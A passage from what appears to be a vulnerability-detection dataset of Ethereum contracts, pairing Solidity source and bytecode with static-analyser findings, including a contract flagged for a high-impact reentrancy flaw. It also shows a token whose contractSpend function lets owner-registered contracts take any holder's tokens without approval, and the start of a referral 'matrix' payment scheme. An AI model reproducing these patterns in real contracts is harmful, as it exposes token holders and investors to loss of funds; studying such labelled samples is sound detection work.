51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f84848484611460565b600081848411156112125760405162461bcd60e51b81526004016106269190611a1b565b50600061121f8486611cbf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361148e565b90506112df83826114b1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c62565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab9190611cd6565b816001815181106113be576113be611c62565b6001600160a01b0392831660209182029290920101526014546113e49130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141d908590600090869030904290600401611cf3565b600060405180830381600087803b15801561143757600080fd5b505af115801561144b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146d5761146d6114f3565b611478848484611521565b80610a6f57610a6f600e54600c55600f54600d55565b600080600061149b611618565b90925090506114aa82826114b1565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165a565b600c541580156115035750600d54155b1561150a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153387611688565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156590876116e5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115949086611727565b6001600160a01b0389166000908152600260205260409020556115b681611786565b6115c084836117d0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160591815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061163482826114b1565b8210156116515750506006549268056bc75e2d6310000092509050565b90939092509050565b6000818361167b5760405162461bcd60e51b81526004016106269190611a1b565b50600061121f8486611d64565b60008060008060008060008060006116a58a600c54600d546117f4565b92509250925060006116b561148e565b905060008060006116c88e878787611849565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117348385611ca7565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179061148e565b9050600061179e8383611899565b306000908152600260205260409020549091506117bb9082611727565b30600090815260026020526040902055505050565b6006546117dd90836116e5565b6006556007546117ed9082611727565b6007555050565b600080808061180e60646118088989611899565b906114b1565b9050600061182160646118088a89611899565b90506000611839826118338b866116e5565b906116e5565b9992985090965090945050505050565b60008080806118588886611899565b905060006118668887611899565b905060006118748888611899565b905060006118868261183386866116e5565b939b939a50919850919650505050505050565b6000826000036118ab575060006106ac565b60006118b78385611d86565b9050826118c48583611d64565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195181611931565b919050565b6000602080838503121561196957600080fd5b823567ffffffffffffffff8082111561198157600080fd5b818501915085601f83011261199557600080fd5b8135818111156119a7576119a761191b565b8060051b604051601f19603f830116810181811085821117156119cc576119cc61191b565b6040529182528482019250838101850191888311156119ea57600080fd5b938501935b82851015611a0f57611a0085611946565b845293850193928501926119ef565b98975050505050505050565b600060208083528351808285015260005b81811015611a4857858101830151858201604001528201611a2c565b81811115611a5a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8357600080fd5b8235611a8e81611931565b946020939093013593505050565b600080600060608486031215611ab157600080fd5b8335611abc81611931565b92506020840135611acc81611931565b929592945050506040919091013590565b600060208284031215611aef57600080fd5b81356112df81611931565b8035801515811461195157600080fd5b600060208284031215611b1c57600080fd5b6112df82611afa565b600060208284031215611b3757600080fd5b5035919050565b60008060008060808587031215611b5457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8557600080fd5b833567ffffffffffffffff80821115611b9d57600080fd5b818601915086601f830112611bb157600080fd5b813581811115611bc057600080fd5b8760208260051b8501011115611bd557600080fd5b602092830195509350611beb9186019050611afa565b90509250925092565b60008060408385031215611c0757600080fd5b8235611c1281611931565b91506020830135611c2281611931565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca057611ca0611c78565b5060010190565b60008219821115611cba57611cba611c78565b500190565b600082821015611cd157611cd1611c78565b500390565b600060208284031215611ce857600080fd5b81516112df81611931565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d435784516001600160a01b031683529383019391830191600101611d1e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da057611da0611c78565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d5b4e4dd36ab076c5d774b9b028268cc03f329f600166535ed8592f987eea8ff64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 606 |
0x943aca8ed65fbf188a7d369cfc2bee0ae435ee1b | pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract TokenOffering is StandardToken, Ownable, BurnableToken {
bool public offeringEnabled;
uint256 public currentTotalTokenOffering;
uint256 public currentTokenOfferingRaised;
uint256 public bonusRateOneEth;
uint256 public startTime;
uint256 public endTime;
bool public isBurnInClose = false;
bool public isOfferingStarted = false;
event OfferingOpens(uint256 startTime, uint256 endTime, uint256 totalTokenOffering, uint256 bonusRateOneEth);
event OfferingCloses(uint256 endTime, uint256 tokenOfferingRaised);
function setBonusRate(uint256 _bonusRateOneEth) public onlyOwner {
bonusRateOneEth = _bonusRateOneEth;
}
function preValidatePurchase(uint256 _amount) internal {
require(_amount > 0);
require(isOfferingStarted);
require(offeringEnabled);
require(currentTokenOfferingRaised.add(_amount) <= currentTotalTokenOffering);
require(block.timestamp >= startTime && block.timestamp <= endTime);
}
function stopOffering() public onlyOwner {
offeringEnabled = false;
}
function resumeOffering() public onlyOwner {
offeringEnabled = true;
}
function startOffering(
uint256 _tokenOffering,
uint256 _bonusRateOneEth,
uint256 _startTime,
uint256 _endTime,
bool _isBurnInClose
) public onlyOwner returns (bool) {
require(_tokenOffering <= balances[owner]);
require(_startTime <= _endTime);
require(_startTime >= block.timestamp);
require(!isOfferingStarted);
isOfferingStarted = true;
startTime = _startTime;
endTime = _endTime;
isBurnInClose = _isBurnInClose;
currentTokenOfferingRaised = 0;
currentTotalTokenOffering = _tokenOffering;
offeringEnabled = true;
setBonusRate(_bonusRateOneEth);
emit OfferingOpens(startTime, endTime, currentTotalTokenOffering, bonusRateOneEth);
return true;
}
function updateStartTime(uint256 _startTime) public onlyOwner {
require(isOfferingStarted);
require(_startTime <= endTime);
require(_startTime >= block.timestamp);
startTime = _startTime;
}
function updateEndTime(uint256 _endTime) public onlyOwner {
require(isOfferingStarted);
require(_endTime >= startTime);
endTime = _endTime;
}
function updateBurnableStatus(bool _isBurnInClose) public onlyOwner {
require(isOfferingStarted);
isBurnInClose = _isBurnInClose;
}
function endOffering() public onlyOwner {
if (isBurnInClose) {
burnRemainTokenOffering();
}
emit OfferingCloses(endTime, currentTokenOfferingRaised);
resetOfferingStatus();
}
function burnRemainTokenOffering() internal {
if (currentTokenOfferingRaised < currentTotalTokenOffering) {
uint256 remainTokenOffering = currentTotalTokenOffering.sub(currentTokenOfferingRaised);
_burn(owner, remainTokenOffering);
}
}
function resetOfferingStatus() internal {
isOfferingStarted = false;
startTime = 0;
endTime = 0;
currentTotalTokenOffering = 0;
currentTokenOfferingRaised = 0;
bonusRateOneEth = 0;
offeringEnabled = false;
isBurnInClose = false;
}
}
contract WithdrawTrack is StandardToken, Ownable {
struct TrackInfo {
address to;
uint256 amountToken;
string withdrawId;
}
mapping(string => TrackInfo) withdrawTracks;
function withdrawToken(address _to, uint256 _amountToken, string _withdrawId) public onlyOwner returns (bool) {
bool result = transfer(_to, _amountToken);
if (result) {
withdrawTracks[_withdrawId] = TrackInfo(_to, _amountToken, _withdrawId);
}
return result;
}
function withdrawTrackOf(string _withdrawId) public view returns (address to, uint256 amountToken) {
TrackInfo track = withdrawTracks[_withdrawId];
return (track.to, track.amountToken);
}
}
contract ContractSpendToken is StandardToken, Ownable {
mapping (address => address) private contractToReceiver;
function addContract(address _contractAdd, address _to) external onlyOwner returns (bool) {
require(_contractAdd != address(0x0));
require(_to != address(0x0));
contractToReceiver[_contractAdd] = _to;
return true;
}
function removeContract(address _contractAdd) external onlyOwner returns (bool) {
contractToReceiver[_contractAdd] = address(0x0);
return true;
}
function contractSpend(address _from, uint256 _value) public returns (bool) {
address _to = contractToReceiver[msg.sender];
require(_to != address(0x0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function getContractReceiver(address _contractAdd) public view onlyOwner returns (address) {
return contractToReceiver[_contractAdd];
}
}
contract ContractiumToken is TokenOffering, WithdrawTrack, ContractSpendToken {
string public constant name = "Contractium";
string public constant symbol = "CTU";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
uint256 public unitsOneEthCanBuy = 15000;
uint256 internal totalWeiRaised;
event BuyToken(address from, uint256 weiAmount, uint256 tokenAmount);
function ContractiumToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function() public payable {
require(msg.sender != owner);
uint256 amount = msg.value.mul(unitsOneEthCanBuy);
uint256 amountBonus = msg.value.mul(bonusRateOneEth);
amount = amount.add(amountBonus);
preValidatePurchase(amount);
require(balances[owner] >= amount);
totalWeiRaised = totalWeiRaised.add(msg.value);
currentTokenOfferingRaised = currentTokenOfferingRaised.add(amount);
balances[owner] = balances[owner].sub(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
emit Transfer(owner, msg.sender, amount);
emit BuyToken(msg.sender, msg.value, amount);
owner.transfer(msg.value);
}
function batchTransfer(address[] _receivers, uint256[] _amounts) public returns(bool) {
uint256 cnt = _receivers.length;
require(cnt > 0 && cnt <= 20);
require(cnt == _amounts.length);
cnt = (uint8)(cnt);
uint256 totalAmount = 0;
for (uint8 i = 0; i < cnt; i++) {
totalAmount = totalAmount.add(_amounts[i]);
}
require(totalAmount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for (i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_amounts[i]);
emit Transfer(msg.sender, _receivers[i], _amounts[i]);
}
return true;
}
} | 0x6080604052600436106101e25763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306bcf02f81146103bb57806306fdde03146103d5578063071fe9b01461045f578063095ea7b31461048857806314eaa43b146104ac57806318160ddd1461051557806323b872dd1461053c5780632ff2e9dc14610566578063313ce5671461057b5780633197cbb6146105a65780633555fa90146105bb57806342966c68146105df57806346848114146105f757806357292af81461061d57806363a3cc801461063257806365f2bc2e14610647578063661884631461065c5780636ab3846b146106805780636b8263ed1461069857806370a08231146106ad57806370aecf61146106ce57806378e979251461070b57806388d695b2146107205780638da5cb5b146107ae57806395d89b41146107c35780639be3b286146107d85780639db28672146107ed578063a86477ad14610802578063a9059cbb14610817578063b7ba60501461083b578063b9858a2814610850578063c375c2ef14610877578063c488d6f214610898578063d73dd623146108ad578063dd62ed3e146108d1578063e4fcf329146108f8578063f0c5a77b14610910578063f2fde38b1461092a578063f6b5460f1461094b575b6003546000908190600160a060020a03163314156101ff57600080fd5b600c5461021390349063ffffffff6109c716565b915061022a600654346109c790919063ffffffff16565b905061023c828263ffffffff6109f616565b915061024782610a03565b600354600160a060020a031660009081526020819052604090205482111561026e57600080fd5b600d54610281903463ffffffff6109f616565b600d55600554610297908363ffffffff6109f616565b600555600354600160a060020a03166000908152602081905260409020546102c5908363ffffffff610a9216565b600354600160a060020a03166000908152602081905260408082209290925533815220546102f9908363ffffffff6109f616565b336000818152602081815260409182902093909355600354815186815291519293600160a060020a0390911692600080516020611b468339815191529281900390910190a36040805133815234602082015280820184905290517ff6f342132c7de5e5a1e99c8efae544c94731f3ff093f5c3c97c6973d9415cdfb9181900360600190a1600354604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156103b6573d6000803e3d6000fd5b505050005b3480156103c757600080fd5b506103d3600435610aa4565b005b3480156103e157600080fd5b506103ea610af2565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561042457818101518382015260200161040c565b50505050905090810190601f1680156104515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561046b57600080fd5b50610474610b29565b604080519115158252519081900360200190f35b34801561049457600080fd5b50610474600160a060020a0360043516602435610b32565b3480156104b857600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610474948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610b989650505050505050565b34801561052157600080fd5b5061052a610ca1565b60408051918252519081900360200190f35b34801561054857600080fd5b50610474600160a060020a0360043581169060243516604435610ca8565b34801561057257600080fd5b5061052a610e0d565b34801561058757600080fd5b50610590610e1d565b6040805160ff9092168252519081900360200190f35b3480156105b257600080fd5b5061052a610e22565b3480156105c757600080fd5b50610474600160a060020a0360043516602435610e28565b3480156105eb57600080fd5b506103d3600435610f1d565b34801561060357600080fd5b506104746004356024356044356064356084351515610f27565b34801561062957600080fd5b5061052a611062565b34801561063e57600080fd5b5061052a611068565b34801561065357600080fd5b5061052a61106e565b34801561066857600080fd5b50610474600160a060020a0360043516602435611074565b34801561068c57600080fd5b506103d3600435611164565b3480156106a457600080fd5b506103d36111a5565b3480156106b957600080fd5b5061052a600160a060020a03600435166111f3565b3480156106da57600080fd5b506106ef600160a060020a036004351661120e565b60408051600160a060020a039092168252519081900360200190f35b34801561071757600080fd5b5061052a611247565b34801561072c57600080fd5b506040805160206004803580820135838102808601850190965280855261047495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061124d9650505050505050565b3480156107ba57600080fd5b506106ef61143b565b3480156107cf57600080fd5b506103ea61144a565b3480156107e457600080fd5b506103d3611481565b3480156107f957600080fd5b506104746114f8565b34801561080e57600080fd5b50610474611506565b34801561082357600080fd5b50610474600160a060020a0360043516602435611527565b34801561084757600080fd5b5061052a6115f6565b34801561085c57600080fd5b50610474600160a060020a03600435811690602435166115fc565b34801561088357600080fd5b50610474600160a060020a036004351661167f565b3480156108a457600080fd5b506103d36116d1565b3480156108b957600080fd5b50610474600160a060020a0360043516602435611708565b3480156108dd57600080fd5b5061052a600160a060020a03600435811690602435166117a1565b34801561090457600080fd5b506103d36004356117cc565b34801561091c57600080fd5b506103d360043515156117e8565b34801561093657600080fd5b506103d3600160a060020a0360043516611828565b34801561095757600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526109a49436949293602493928401919081908401838280828437509497506118bd9650505050505050565b60408051600160a060020a03909316835260208301919091528051918290030190f35b60008215156109d8575060006109f0565b508181028183828115156109e857fe5b04146109f057fe5b92915050565b818101828110156109f057fe5b60008111610a1057600080fd5b600954610100900460ff161515610a2657600080fd5b60035474010000000000000000000000000000000000000000900460ff161515610a4f57600080fd5b600454600554610a65908363ffffffff6109f616565b1115610a7057600080fd5b6007544210158015610a8457506008544211155b1515610a8f57600080fd5b50565b600082821115610a9e57fe5b50900390565b600354600160a060020a03163314610abb57600080fd5b600954610100900460ff161515610ad157600080fd5b600854811115610ae057600080fd5b42811015610aed57600080fd5b600755565b60408051808201909152600b81527f436f6e747261637469756d000000000000000000000000000000000000000000602082015281565b60095460ff1681565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6003546000908190600160a060020a03163314610bb457600080fd5b610bbe8585611527565b90508015610c995760606040519081016040528086600160a060020a0316815260200185815260200184815250600a846040518082805190602001908083835b60208310610c1d5780518252601f199092019160209182019101610bfe565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382019094208551815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909116178155858201516001820155938501518051610c959450600286019350910190611aad565b5050505b949350505050565b6001545b90565b6000600160a060020a0383161515610cbf57600080fd5b600160a060020a038416600090815260208190526040902054821115610ce457600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610d1457600080fd5b600160a060020a038416600090815260208190526040902054610d3d908363ffffffff610a9216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610d72908363ffffffff6109f616565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610db4908363ffffffff610a9216565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020611b46833981519152929181900390910190a35060019392505050565b6b09b18ab5df7180b6b800000081565b601281565b60085481565b336000908152600b6020526040812054600160a060020a0316801515610e4d57600080fd5b600160a060020a038416600090815260208190526040902054831115610e7257600080fd5b600160a060020a038416600090815260208190526040902054610e9b908463ffffffff610a9216565b600160a060020a038086166000908152602081905260408082209390935590831681522054610ed0908463ffffffff6109f616565b600160a060020a03808316600081815260208181526040918290209490945580518781529051919392881692600080516020611b4683398151915292918290030190a35060019392505050565b610a8f338261193e565b600354600090600160a060020a03163314610f4157600080fd5b600354600160a060020a0316600090815260208190526040902054861115610f6857600080fd5b82841115610f7557600080fd5b42841015610f8257600080fd5b600954610100900460ff1615610f9757600080fd5b600980546007869055600885905561010061ff00199091161760ff191683151517905560006005556004869055600380547401000000000000000000000000000000000000000074ff000000000000000000000000000000000000000019909116179055611004856117cc565b600754600854600454600654604080519485526020850193909352838301919091526060830152517f365e229499f5cbeb1e19d0ab447a1c88a23b8d565034fed6aa5b191d2403d3539181900360800190a150600195945050505050565b60065481565b60045481565b600c5481565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156110c957336000908152600260209081526040808320600160a060020a03881684529091528120556110fe565b6110d9818463ffffffff610a9216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600160a060020a0316331461117b57600080fd5b600954610100900460ff16151561119157600080fd5b6007548110156111a057600080fd5b600855565b600354600160a060020a031633146111bc57600080fd5b6003805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461122857600080fd5b50600160a060020a039081166000908152600b60205260409020541690565b60075481565b815160009081808083118015611264575060148311155b151561126f57600080fd5b8451831461127c57600080fd5b505060ff166000805b828160ff1610156112c5576112bb858260ff168151811015156112a457fe5b60209081029091010151839063ffffffff6109f616565b9150600101611285565b336000908152602081905260409020548211156112e157600080fd5b33600090815260208190526040902054611301908363ffffffff610a9216565b3360009081526020819052604081209190915590505b828160ff16101561142f57611383858260ff1681518110151561133657fe5b90602001906020020151600080898560ff1681518110151561135457fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6109f616565b600080888460ff1681518110151561139757fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558551869060ff83169081106113cb57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611b46833981519152878460ff1681518110151561140857fe5b906020019060200201516040518082815260200191505060405180910390a3600101611317565b50600195945050505050565b600354600160a060020a031681565b60408051808201909152600381527f4354550000000000000000000000000000000000000000000000000000000000602082015281565b600354600160a060020a0316331461149857600080fd5b60095460ff16156114ab576114ab611a2d565b7f02359fdde4491e11fa0985b799db1f730257a9715a67fd4b9ed9956e194025f0600854600554604051808381526020018281526020019250505060405180910390a16114f6611a69565b565b600954610100900460ff1681565b60035474010000000000000000000000000000000000000000900460ff1681565b6000600160a060020a038316151561153e57600080fd5b3360009081526020819052604090205482111561155a57600080fd5b3360009081526020819052604090205461157a908363ffffffff610a9216565b3360009081526020819052604080822092909255600160a060020a038516815220546115ac908363ffffffff6109f616565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020611b468339815191529281900390910190a350600192915050565b60055481565b600354600090600160a060020a0316331461161657600080fd5b600160a060020a038316151561162b57600080fd5b600160a060020a038216151561164057600080fd5b50600160a060020a039182166000908152600b60205260409020805473ffffffffffffffffffffffffffffffffffffffff191691909216179055600190565b600354600090600160a060020a0316331461169957600080fd5b50600160a060020a03166000908152600b60205260409020805473ffffffffffffffffffffffffffffffffffffffff19169055600190565b600354600160a060020a031633146116e857600080fd5b6003805474ff000000000000000000000000000000000000000019169055565b336000908152600260209081526040808320600160a060020a038616845290915281205461173c908363ffffffff6109f616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146117e357600080fd5b600655565b600354600160a060020a031633146117ff57600080fd5b600954610100900460ff16151561181557600080fd5b6009805460ff1916911515919091179055565b600354600160a060020a0316331461183f57600080fd5b600160a060020a038116151561185457600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000806000600a846040518082805190602001908083835b602083106118f45780518252601f1990920191602091820191016118d5565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092208054600190910154600160a060020a0390911697909650945050505050565b600160a060020a03821660009081526020819052604090205481111561196357600080fd5b600160a060020a03821660009081526020819052604090205461198c908263ffffffff610a9216565b600160a060020a0383166000908152602081905260409020556001546119b8908263ffffffff610a9216565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020611b468339815191529181900360200190a35050565b60006004546005541015610a8f57600554600454611a509163ffffffff610a9216565b600354909150610a8f90600160a060020a03168261193e565b60098054600060078190556008819055600481905560058190556006556003805474ff00000000000000000000000000000000000000001916905561ffff19169055565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611aee57805160ff1916838001178555611b1b565b82800160010185558215611b1b579182015b82811115611b1b578251825591602001919060010190611b00565b50611b27929150611b2b565b5090565b610ca591905b80821115611b275760008155600101611b315600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582074dc6e83473ee26996fdb0d3b89fee83be62b8765ba760ffdd24256d3d01d2040029 | {"success": true, "error": null, "results": {}} | 607 |
0x5994deac891353c18e2918dfe83f0c9bb18db492 | /**
*Submitted for verification at Etherscan.io on 2020-07-03
*/
pragma solidity ^0.6.7;
contract FastMatrix {
struct User {
uint256 id;
address inviter;
uint256 balance;
uint256 profit;
mapping(uint8 => uint40) expires;
mapping(uint8 => address) uplines;
mapping(uint8 => address[]) referrals;
}
uint40 public LEVEL_TIME_LIFE = 1 << 37;
bool step_1 = false;
bool step_2 = false;
address payable owner;
address payable public root;
address[6] private refss;
uint256 public last_id;
uint256[] public levels;
mapping(address => User) public users;
mapping(uint256 => address) public users_ids;
event RegisterUserEvent(address indexed user, address indexed referrer, uint256 id, uint time);
event BuyLevelEvent(address indexed user, address indexed upline, uint8 level, uint40 expires, uint time);
event ProfitEvent(address indexed recipient, address indexed sender, uint256 amount, uint time, uint recipientID, uint senderID);
event LostProfitEvent(address indexed recipient, address indexed sender, uint256 amount, uint time, uint senderId);
event WithdrawEvent(address indexed recipient, uint256 amount, uint time);
constructor(address payable _root, address[6] memory _techAccounts) public {
levels = [0.05 ether, 0.08 ether, 0.1 ether, 0.16 ether, 0.2 ether, 0.32 ether, 0.4 ether, 0.64 ether, 0.8 ether, 1.28 ether, 1.6 ether, 2.56 ether, 3.2 ether, 5.12 ether, 6.4 ether, 10.24 ether, 12.8 ether,
20.48 ether, 25.6 ether, 40.96 ether];
owner = msg.sender;
root = _root;
refss = _techAccounts;
_newUser(root, address(0));
for(uint8 i = 0; i < levels.length; i++) {
users[root].expires[i] = 1 << 37;
emit BuyLevelEvent(root, address(0), i, users[root].expires[i], now);
}
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function stepOne() public onlyOwner {
require(step_1 == false, 'Wrong!');
for(uint8 i = 0; i < refss.length; i++){
_newUser(refss[i], root);
for(uint8 j = 0; j < levels.length; j++) {
users[refss[i]].expires[j] = uint40(-1);
emit BuyLevelEvent(refss[i], root, j, users[refss[i]].expires[j], now);
}
}
step_1 = true;
}
function stepTwo () public onlyOwner {
require(step_2 == false, 'Wrong!');
for(uint8 j = 0; j < 10; j++){
for(uint8 i = 0; i < refss.length; i++){
address upline = users[refss[i]].inviter;
if(users[refss[i]].uplines[j] == address(0)) {
upline = this.findFreeReferrer(upline, j);
users[refss[i]].uplines[j] = upline;
users[upline].referrals[j].push(refss[i]);
}
else upline = users[refss[i]].uplines[j];
}
}
step_2 = true;
}
receive() payable external {
require(users[msg.sender].id > 0, "User not register");
users[msg.sender].balance += msg.value;
